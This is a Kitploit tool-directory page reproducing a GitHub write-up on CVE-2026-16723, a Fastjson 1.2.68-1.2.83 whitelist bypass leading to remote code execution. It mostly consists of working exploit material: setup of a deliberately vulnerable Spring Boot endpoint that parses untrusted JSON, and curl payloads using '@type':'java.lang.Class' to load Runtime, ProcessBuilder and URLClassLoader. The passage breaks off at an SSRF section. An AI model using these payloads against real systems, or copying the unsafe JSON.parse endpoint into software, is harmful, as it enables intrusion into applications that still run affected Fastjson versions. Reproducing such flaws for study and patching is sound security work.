Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/ethen1212/fastjson-cve-2026-16723
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubethen1212/fastjson-cve-2026-16723

fastjson-CVE-2026-16723

CVE-2026-16723 Fastjson 1.2.68-1.2.83 ???? RCE ?? (java.lang.Class whitelist bypass)

View Repository
11 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    Callisto

    jetp1ane/callisto

    Automated binary vulnerability analysis tool that decompiles executables via Ghidra, scans pseudo-C code with Semgrep, and validates findings using GPT-3.5-Turbo to reduce false positives.

    2.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    One-tap Android kernel exploit app for CVE-2026-43499, providing privilege escalation via kernel module loading, with offset extraction and on-device analysis tools.

    978
  • 3

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    475
  • 4

    wifit3

    derv82/wifit3

    Wifite but USB-only & cross-platform.

    420
  • 5

    DFRoot

    a2333c/dfroot

    Android root tool for Samsung Galaxy S25 Ultra (SM-S938B) that chains DirtyFrag CVE-2026-43284 and CVE-2026-43499 to gain root automatically at boot via KernelSU.

    383
  • 6

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    321

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-16723: reproducing deserialization RCE in Fastjson 1.2.68-1.2.83

CVE-2026-16723 | Alibaba Fastjson | Deserialization RCE (CWE-502) | CVSS 9.0 CRITICAL Fixed version: no official patch for 1.x; migrate to Fastjson 2.x or enable SafeMode Exploited in the wild: yes

Contents

  1. Vulnerability overview
  2. Environment checks
  3. Environment setup
  4. Reproducing the vulnerability
  5. How it works
  6. Using the EXP
  7. Detection and mitigation
  8. References

1. Vulnerability overview

ItemDetails
CVECVE-2026-16723
ComponentAlibaba Fastjson 1.x
Affected versions1.2.68 ~ 1.2.83
Vulnerability typeDeserialization RCE (CWE-502)
CVSS9.0 CRITICAL (AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)
Exploited in the wildYes
DiscovererKirill Firsov (FearsOff Cybersecurity)
Exploitation requirementsSpring Boot fat-jar deployment with SafeMode disabled
Distinguishing featureNo need to enable AutoType or have a classpath gadget

Core mechanism

ParserConfig.INTERNAL_WHITELIST in Fastjson 1.2.68-1.2.83 includes java.lang.Class. When Fastjson deserializes a java.lang.Class value, it uses MiscCodec to call TypeUtils.loadClass(className, defaultClassLoader, false) and load an arbitrary class.

In a Spring Boot fat-jar deployment, the default class loader is org.springframework.boot.loader.LaunchedURLClassLoader. An attacker can instantiate arbitrary classes through malicious JSON and combine them with other gadget chains to achieve RCE.


2. Environment checks

2.1 Prerequisites

# 进入 Kali WSL
wsl -d kali-linux

# 检查 Java
java -version
# 需 JDK 8+ (推荐 JDK 11/17)

# 检查 Maven
mvn -version
# 需 Maven 3.6+

# 如未安装:
apt-get install -y default-jdk maven

2.2 Checking the Fastjson version

# 在项目目录中检查依赖
find ~/.m2 -name "fastjson-1.2.*.jar" | sort
# 受影响版本:1.2.68, 1.2.69, ..., 1.2.83

2.3 Checking the Spring Boot deployment mode

# 确认应用以 fat-jar 运行
unzip -l target/app.jar | grep "BOOT-INF"
# 应输出 BOOT-INF/classes/ 和 BOOT-INF/lib/

# 确认类加载器
# 在应用启动日志中查找:
# "classLoader" : "org.springframework.boot.loader.LaunchedURLClassLoader"

3. Environment setup

3.1 Creating a Spring Boot project

mkdir -p ~/work/fastjson-cve/springboot-app
cd ~/work/fastjson-cve/springboot-app

pom.xml file:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
         http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.7.18</version>
        <relativePath/>
    </parent>
    <groupId>com.example</groupId>
    <artifactId>fastjson-demo</artifactId>
    <version>1.0</version>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <!-- 漏洞版本 -->
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.83</version>
        </dependency>
    </dependencies>
    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>
</project>

3.2 Creating the vulnerable endpoint

mkdir -p src/main/java/com/example

src/main/java/com/example/DemoApplication.java source file:

package com.example;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.web.bind.annotation.*;
import com.alibaba.fastjson.*;
import com.alibaba.fastjson.parser.ParserConfig;
import java.util.*;

@SpringBootApplication
@RestController
public class DemoApplication {
    public static void main(String[] args) {
        SpringApplication.run(DemoApplication.class, args);
    }

    // 漏洞端点:默认配置,无 SafeMode
    @PostMapping("/parse")
    public Map<String, Object> parse(@RequestBody String body) {
        Map<String, Object> result = new LinkedHashMap<>();
        try {
            Object obj = JSON.parse(body);
            result.put("status", "ok");
            result.put("class", obj != null ? obj.getClass().getName() : "null");
            result.put("value", obj != null ? obj.toString() : "null");
        } catch (Exception e) {
            result.put("status", "error");
            result.put("error", e.getMessage());
        }
        return result;
    }

    // 检查类是否可被加载
    @GetMapping("/check")
    public Map<String, Object> check(@RequestParam String className) {
        Map<String, Object> result = new LinkedHashMap<>();
        ParserConfig pc = ParserConfig.getGlobalInstance();
        try {
            Class<?> clazz = pc.checkAutoType(className, null);
            result.put("class", clazz != null ? clazz.getName() : "null");
            result.put("allowed", clazz != null);
        } catch (Exception e) {
            result.put("error", e.getMessage());
            result.put("allowed", false);
        }
        return result;
    }

    // 获取配置信息
    @GetMapping("/info")
    public Map<String, Object> info() {
        Map<String, Object> result = new LinkedHashMap<>();
        ParserConfig pc = ParserConfig.getGlobalInstance();
        result.put("autoTypeSupport", pc.isAutoTypeSupport());
        result.put("safeMode", pc.isSafeMode());
        result.put("classLoader",
            getClass().getClassLoader().getClass().getName());
        return result;
    }
}

3.3 Building and running

# 编译
mvn package -DskipTests

# 运行(默认端口 8080)
java -jar target/fastjson-demo-1.0.jar

# 验证启动
curl http://127.0.0.1:8080/info
# 应返回:
# {"autoTypeSupport":false,"safeMode":false,
#  "classLoader":"org.springframework.boot.loader.LaunchedURLClassLoader"}

4. Reproducing the vulnerability

4.1 Checking whether the vulnerability is present

# 检查目标配置
curl http://127.0.0.1:8080/info | python3 -m json.tool

Expected output (vulnerable state):

{
  "autoTypeSupport": false,
  "safeMode": false,
  "classLoader": "org.springframework.boot.loader.LaunchedURLClassLoader"
}

4.2 Core demonstration: java.lang.Class whitelist bypass

Mechanism: java.lang.Class is on Fastjson's internal whitelist, allowing @type to instantiate it and load arbitrary classes.

# 加载 java.lang.Runtime
curl -s -X POST http://127.0.0.1:8080/parse \
  -H "Content-Type: application/json" \
  -d '{"@type":"java.lang.Class","val":"java.lang.Runtime"}'

# 加载 java.lang.ProcessBuilder
curl -s -X POST http://127.0.0.1:8080/parse \
  -H "Content-Type: application/json" \
  -d '{"@type":"java.lang.Class","val":"java.lang.ProcessBuilder"}'

# 加载 URLClassLoader(通常被 autoType 拒绝,但 java.lang.Class 可绕过)
curl -s -X POST http://127.0.0.1:8080/parse \
  -H "Content-Type: application/json" \
  -d '{"@type":"java.lang.Class","val":"java.net.URLClassLoader"}'

Expected output:

{"status":"ok","class":"java.lang.Class","value":"class java.lang.Runtime"}

4.3 SSRF demonstration: java.net.URL + HashMap

Mechanism: java.net.URL is on the internal whitelist. Placing it in a HashMap triggers hashCode(), causing DNS/HTTP requests.

Download Tool